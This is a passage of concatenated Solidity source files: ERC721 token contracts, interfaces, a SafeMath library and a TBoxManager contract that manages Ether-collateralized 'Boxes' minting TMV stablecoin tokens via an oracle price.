* intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) {
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
pragma solidity 0.4.25;
import "./IERC721Enumerable.sol";
import "./ERC721.sol";
import "./ERC165.sol";
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor () public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./IERC721Metadata.sol";
import "./ERC165.sol";
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
pragma solidity 0.4.25;
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity 0.4.25;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4);
}
pragma solidity 0.4.25;
/// @title IOracle
/// @dev Interface for getting the data from the oracle contract.
interface IOracle {
function ethUsdPrice() external view returns(uint256);
}
pragma solidity 0.4.25;
/// @title ISettings
/// @dev Interface for getting the data from settings contract.
interface ISettings {
function oracleAddress() external view returns(address);
function minDeposit() external view returns(uint256);
function sysFee() external view returns(uint256);
function userFee() external view returns(uint256);
function ratio() external view returns(uint256);
function globalTargetCollateralization() external view returns(uint256);
function tmvAddress() external view returns(uint256);
function maxStability() external view returns(uint256);
function minStability() external view returns(uint256);
function gasPriceLimit() external view returns(uint256);
function isFeeManager(address account) external view returns (bool);
function tBoxManager() external view returns(address);
}
pragma solidity 0.4.25;
/// @title IToken
/// @dev Interface for interaction with the TMV token contract.
interface IToken {
function burnLogic(address from, uint256 value) external;
function approve(address spender, uint256 value) external;
function balanceOf(address who) external view returns (uint256);
function mint(address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
}
pragma solidity 0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'mul');
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'div');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'sub');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'add');
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.25;
import "./TBoxToken.sol";
import "./ISettings.sol";
import "./IToken.sol";
import "./IOracle.sol";
/// @title TBoxManager
contract TBoxManager is TBoxToken {
// Total packed Ether
uint256 public globalETH;
// Precision using for USD and commission
uint256 public precision = 100000;
// The address of the system settings contract
ISettings public settings;
/// @dev An array containing the Boxes struct for all Boxes in existence. The ID
/// of each Box is actually an index into this array.
Box[] public boxes;
/// @dev The main Box struct. Every Box in TimviSystem is represented by a copy
/// of this structure.
struct Box {
// The collateral Ether amount in wei
uint256 collateral;
// The number of TMV withdrawn
uint256 tmvReleased;
}
/// @dev The Created event is fired whenever a new Box comes into existence. This includes
/// any time a Box is created through the create method.
event Created(uint256 indexed id, address owner, uint256 collateral, uint256 tmvReleased);
/// @dev The Closed event is fired whenever a Box is closed. Obviously, this includes
/// any time a Box is closed through the close method, but it is also called when
// a Box is closed through the closeDust method.
event Closed(uint256 indexed id, address indexed owner, address indexed closer);
/// @dev The Capitalized event is fired whenever a Box is capitalized.
event Capitalized(uint256 indexed id, address indexed owner, address indexed who, uint256 tmvAmount, uint256 totalEth, uint256 userEth);
/// @dev The EthWithdrawn event is fired whenever Ether is withdrawn from a Box
/// using withdrawEth method.
event EthWithdrawn(uint256 indexed id, uint256 value, address who);
/// @dev The TmvWithdrawn event is fired whenever TMV is withdrawn from a Box
/// using withdrawTmv method.
event TmvWithdrawn(uint256 indexed id, uint256 value, address who);
/// @dev The EthAdded event is fired whenever Ether is added to a Box
/// using addEth method.
event EthAdded(uint256 indexed id, uint256 value, address who);
/// @dev The TmvAdded event is fired whenever TMV is added to a Box
/// using addTmv method.
event TmvAdded(uint256 indexed id, uint256 value, address who);
/// @dev Defends against front-running attacks.
modifier validTx() {
require(tx.gasprice <= settings.gasPriceLimit(), "Gas price is greater than allowed");
_;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyAdmin() {
require(settings.isFeeManager(msg.sender), "You have no access");
_;
}
/// @dev Throws if Box with specified id does not exist.
modifier onlyExists(uint256 _id) {
require(_exists(_id), "Box does not exist");
_;
}
/// @dev Access modifier for token owner-only functionality.
modifier onlyApprovedOrOwner(uint256 _id) {
require(_isApprovedOrOwner(msg.sender, _id), "Box isn't your");
_;
}
/// @dev The constructor sets ERC721 token name and symbol.
/// @param _settings The address of the system settings contract.
constructor(address _settings) TBoxToken("TBoxToken", "TBX") public {
settings = ISettings(_settings);
}
/// @notice The funds are safe.
/// @dev Creates Box with max collateral percent.
function() external payable {
// Redirect to the create method with no tokens to withdraw
create(0);
}
/// @dev Withdraws system fee.
function withdrawFee(address _beneficiary) external onlyAdmin {
require(_beneficiary != address(0), "Zero address, be careful");
// Fee is the difference between the contract balance and
// amount of Ether used in the entire system collateralization
uint256 _fees = address(this).balance.sub(globalETH);
// Check that the fee is collected
require(_fees > 0, "There is no available fees");
// Transfer fee to provided address
_beneficiary.transfer(_fees);
}
/// @dev Checks possibility of the issue of the specified token amount
/// for provided Ether collateral and creates new Box
/// @param _tokensToWithdraw Number of tokens to withdraw
/// @return New Box ID.
function create(uint256 _tokensToWithdraw) public payable validTx returns (uint256) {
// Check that msg.value isn't smaller than minimum deposit
require(msg.value >= settings.minDeposit(), "Deposit is very small");
// Calculate collateralization when tokens are needed
if (_tokensToWithdraw > 0) {
// The number of tokens when collateralization is high
uint256 _tokenLimit = overCapWithdrawableTmv(msg.value);
// The number of tokens that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit > _maxGlobal) {
_tokenLimit = _maxGlobal;
}
// The number of tokens that can be withdrawn anyway
uint256 _local = defaultWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit < _local) {
_tokenLimit = _local;
}
// You can only withdraw available amount
require(_tokensToWithdraw <= _tokenLimit, "Token amount is more than available");
// Mint TMV tokens to the Box creator
IToken(settings.tmvAddress()).mint(msg.sender, _tokensToWithdraw);
}
// The id of the new Box
uint256 _id = boxes.push(Box(msg.value, _tokensToWithdraw)).sub(1);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Mint TBX token to the Box creator
_mint(msg.sender, _id);
// Fire the event
emit Created(_id, msg.sender, msg.value, _tokensToWithdraw);
// return the new Box's ID
return _id;
}
/// @dev Allows the owner or approved user of the Box to close one by burning the
/// required number of tokens and return the Box's collateral.
/// @param _id A Box ID to close.
function close(uint256 _id) external onlyApprovedOrOwner(_id) {
// Address of the owner of the Box
address _owner = _tokenOwner[_id];
// Burn needed number of tokens
uint256 _tokensNeed = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tokensNeed);
// Grab a reference to the Box's collateral in storage
uint256 _collateral = boxes[_id].collateral;
// burn Box token
_burn(_owner, _id);
// Removes Box
delete boxes[_id];
// Send the Box's collateral to the person who made closing happen
msg.sender.transfer(_collateral);
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows the user to capitalize a Box with the maximum current amount.
/// @param _id A Box ID to capitalize.
function capitalizeMax(uint256 _id) external {
capitalize(_id, maxCapAmount(_id));
}
/// @dev Allows the user to capitalize a Box with specified number of tokens.
/// @param _id A Box ID to capitalize.
/// @param _tmv Specified number of tokens to capitalize.
function capitalize(uint256 _id, uint256 _tmv) public validTx {
// The maximum number of tokens for which Box can be capitalized
uint256 _maxCapAmount = maxCapAmount(_id);
// Check the number of tokens
require(_tmv <= _maxCapAmount && _tmv >= 10 ** 17, "Tokens amount out of range");
// Decrease Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_tmv);
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _equivalentETH = _tmv.mul(precision).div(rate());
// Calculate system fee
uint256 _fee = _tmv.mul(settings.sysFee()).div(rate());
// Calculate user bonus
uint256 _userReward = _tmv.mul(settings.userFee()).div(rate());
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_fee.add(_userReward).add(_equivalentETH));
// Decrease global Ether counter
globalETH = globalETH.sub(_fee.add(_userReward).add(_equivalentETH));
// burn Box token
_burnTMV(msg.sender, _tmv);
// Send the Ether equivalent & user benefit to the person who made capitalization happen.
msg.sender.transfer(_equivalentETH.add(_userReward));
// Fire the event
emit Capitalized(_id, ownerOf(_id), msg.sender, _tmv, _equivalentETH.add(_userReward).add(_fee), _equivalentETH.add(_userReward));
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum amount
/// of Ether from the Box.
/// @param _id A Box ID.
function withdrawEthMax(uint256 _id) external {
withdrawEth(_id, withdrawableEth(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified amount
/// of Ether from the Box.
/// @param _id A Box ID.
/// @param _amount The number of Ether to withdraw.
function withdrawEth(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
require(_amount <= withdrawableEth(_id), "You can't withdraw so much");
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_amount);
// Decrease global Ether counter
globalETH = globalETH.sub(_amount);
// Send the Ether to the person who made capitalization happen
msg.sender.transfer(_amount);
// Fire the event
emit EthWithdrawn(_id, _amount, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
function withdrawTmvMax(uint256 _id) external onlyApprovedOrOwner(_id) {
withdrawTmv(_id, boxWithdrawableTmv(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to withdraw.
function withdrawTmv(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
// Check the number of tokens
require(_amount <= boxWithdrawableTmv(_id), "You can't withdraw so much");
// Increase Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.add(_amount);
// Mints tokens to the person who made withdrawing
IToken(settings.tmvAddress()).mint(msg.sender, _amount);
// Fire the event
emit TmvWithdrawn(_id, _amount, msg.sender);
}
/// @dev Allows anyone to add Ether to a Box.
/// @param _id A Box ID.
function addEth(uint256 _id) external payable onlyExists(_id) {
require(msg.value > 0, "Don't add 0");
// Increase Box collateral
boxes[_id].collateral = boxes[_id].collateral.add(msg.value);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Fire the event
emit EthAdded(_id, msg.value, msg.sender);
}
/// @dev Allows anyone to add TMV to a Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to add.
function addTmv(uint256 _id, uint256 _amount) external onlyExists(_id) {
require(_amount > 0, "Don't add 0");
// Check the number of tokens
require(_amount <= boxes[_id].tmvReleased, "Too much tokens");
// Removes added tokens from the collateralization
_burnTMV(msg.sender, _amount);
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_amount);
// Fire the event
emit TmvAdded(_id, _amount, msg.sender);
}
/// @dev Allows anyone to close Box with collateral amount smaller than 3 USD.
/// The person who made closing happen will benefit like capitalization.
/// @param _id A Box ID.
function closeDust(uint256 _id) external onlyExists(_id) validTx {
// Check collateral percent of the Box
require(collateralPercent(_id) >= settings.minStability(), "This Box isn't collapsable");
// Check collateral amount of the Box
require(boxes[_id].collateral.mul(rate()) < precision.mul(3).mul(10 ** 18), "It's only possible to collapse dust");
// Burn needed TMV amount to close
uint256 _tmvReleased = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tmvReleased);
uint256 _collateral = boxes[_id].collateral;
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _eth = _tmvReleased.mul(precision).div(rate());
// Calculate user bonus
uint256 _userReward = _tmvReleased.mul(settings.userFee()).div(rate());
// The owner of the Box
address _owner = ownerOf(_id);
// Remove a Box
delete boxes[_id];
// Burn Box token
_burn(_owner, _id);
// Send the Ether equivalent & user benefit to the person who made closing happen
msg.sender.transfer(_eth.add(_userReward));
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @dev Burns specified number of TMV tokens.
function _burnTMV(address _from, uint256 _amount) internal {
if (_amount > 0) {
require(IToken(settings.tmvAddress()).balanceOf(_from) >= _amount, "You don't have enough tokens");
IToken(settings.tmvAddress()).burnLogic(_from, _amount);
}
}
/// @dev Returns current oracle ETH/USD price with precision.
function rate() public view returns(uint256) {
return IOracle(settings.oracleAddress()).ethUsdPrice();
}
/// @dev Given a Box ID, returns a number of tokens that can be withdrawn.
function boxWithdrawableTmv(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
// Number of tokens that can be withdrawn for Box's collateral
uint256 _amount = withdrawableTmv(box.collateral);
if (box.tmvReleased >= _amount) {
return 0;
}
// Return withdrawable rest
return _amount.sub(box.tmvReleased);
}
/// @dev Given a Box ID, returns an amount of Ether that can be withdrawn.
function withdrawableEth(uint256 _id) public view onlyExists(_id) returns(uint256) {
// Amount of Ether that is not used in collateralization
uint256 _avlbl = _freeEth(_id);
// Return available Ether to withdraw
if (_avlbl == 0) {
return 0;
}
uint256 _rest = boxes[_id].collateral.sub(_avlbl);
if (_rest < settings.minDeposit()) {
return boxes[_id].collateral.sub(settings.minDeposit());
}
else return _avlbl;
}
/// @dev Given a Box ID, returns amount of ETH that is not used in collateralization.
function _freeEth(uint256 _id) internal view returns(uint256) {
// Grab a reference to the Box
Box memory box = boxes[_id];
// When there are no tokens withdrawn
if (box.tmvReleased == 0) {
return box.collateral;
}
// The amount of Ether that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableEth();
uint256 _globalAvailable;
if (_maxGlobal > 0) {
// The amount of Ether backing the tokens when the system is overcapitalized
uint256 _need = overCapFrozenEth(box.tmvReleased);
if (box.collateral > _need) {
// Free Ether amount when the system is overcapitalized
uint256 _free = box.collateral.sub(_need);
if (_free > _maxGlobal) {
// Store available amount when Box available Ether amount
// is more than global available
_globalAvailable = _maxGlobal;
}
// Return available amount of Ether to withdraw when the Box withdrawable
// amount of Ether is smaller than global withdrawable amount of Ether
else return _free;
}
}
// The amount of Ether backing the tokens by default
uint256 _frozen = defaultFrozenEth(box.tmvReleased);
if (box.collateral > _frozen) {
// Define the biggest number and return available Ether amount
uint256 _localAvailable = box.collateral.sub(_frozen);
return (_localAvailable > _globalAvailable) ? _localAvailable : _globalAvailable;
} else {
// Return available Ether amount
return _globalAvailable;
}
}
/// @dev Given a Box ID, returns collateral percent.
function collateralPercent(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
if (box.tmvReleased == 0) {
return 10**27; //some unreachable number
}
uint256 _ethCollateral = box.collateral;
// division by 100 is not necessary because to get the percent you need to multiply by 100
return _ethCollateral.mul(rate()).div(box.tmvReleased);
}
/// @dev Checks if a given address currently has approval for a particular Box.
/// @param _spender the address we are confirming Box is approved for.
/// @param _tokenId Box ID.
function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {
return _isApprovedOrOwner(_spender, _tokenId);
}
/// @dev Returns the global collateralization percent.
function globalCollateralization() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (_supply == 0) {
return settings.globalTargetCollateralization();
}
return globalETH.mul(rate()).div(_supply);
}
/// @dev Returns the number of tokens that can be safely withdrawn from the system.
function globalWithdrawableTmv(uint256 _value) public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _totalBackedTmv = defaultWithdrawableTmv(globalETH.add(_value));
return _totalBackedTmv.sub(_supply);
}
/// @dev Returns Ether amount that can be safely withdrawn from the system.
function globalWithdrawableEth() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _need = defaultFrozenEth(_supply);
return globalETH.sub(_need);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount by default.
function defaultWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.globalTargetCollateralization();
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount when the system is overcapitalized.
function overCapWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.ratio();
return _num.div(_div);
}
/// @dev Returns Ether amount backing the specified number of tokens by default.
function defaultFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.globalTargetCollateralization()).div(rate());
}
/// @dev Returns Ether amount backing the specified number of tokens
/// when the system is overcapitalized.
function overCapFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.ratio()).div(rate());
}
/// @dev Returns the number of TMV that can capitalize the specified Box.
function maxCapAmount(uint256 _id) public view onlyExists(_id) returns (uint256) {
uint256 _colP = collateralPercent(_id);
require(_colP >= settings.minStability() && _colP < settings.maxStability(), "It's only possible to capitalize toxic Boxes");
Box memory box = boxes[_id];
uint256 _num = box.tmvReleased.mul(settings.ratio()).sub(box.collateral.mul(rate()));
uint256 _div = settings.ratio().sub(settings.minStability());
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be actually withdrawn
/// for the specified collateral.
function withdrawableTmv(uint256 _collateral) public view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(0);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _amount;
}
/// @dev Returns the collateral percentage for which tokens can be withdrawn
/// for the specified collateral.
function withdrawPercent(uint256 _collateral) external view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(_collateral);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _collateral.mul(rate()).div(_amount);
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Metadata.sol";
/**
* @title TBoxClassic Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract TBoxToken is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) ERC721Metadata(name, symbol) public {}
}
pragma solidity 0.4.25;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
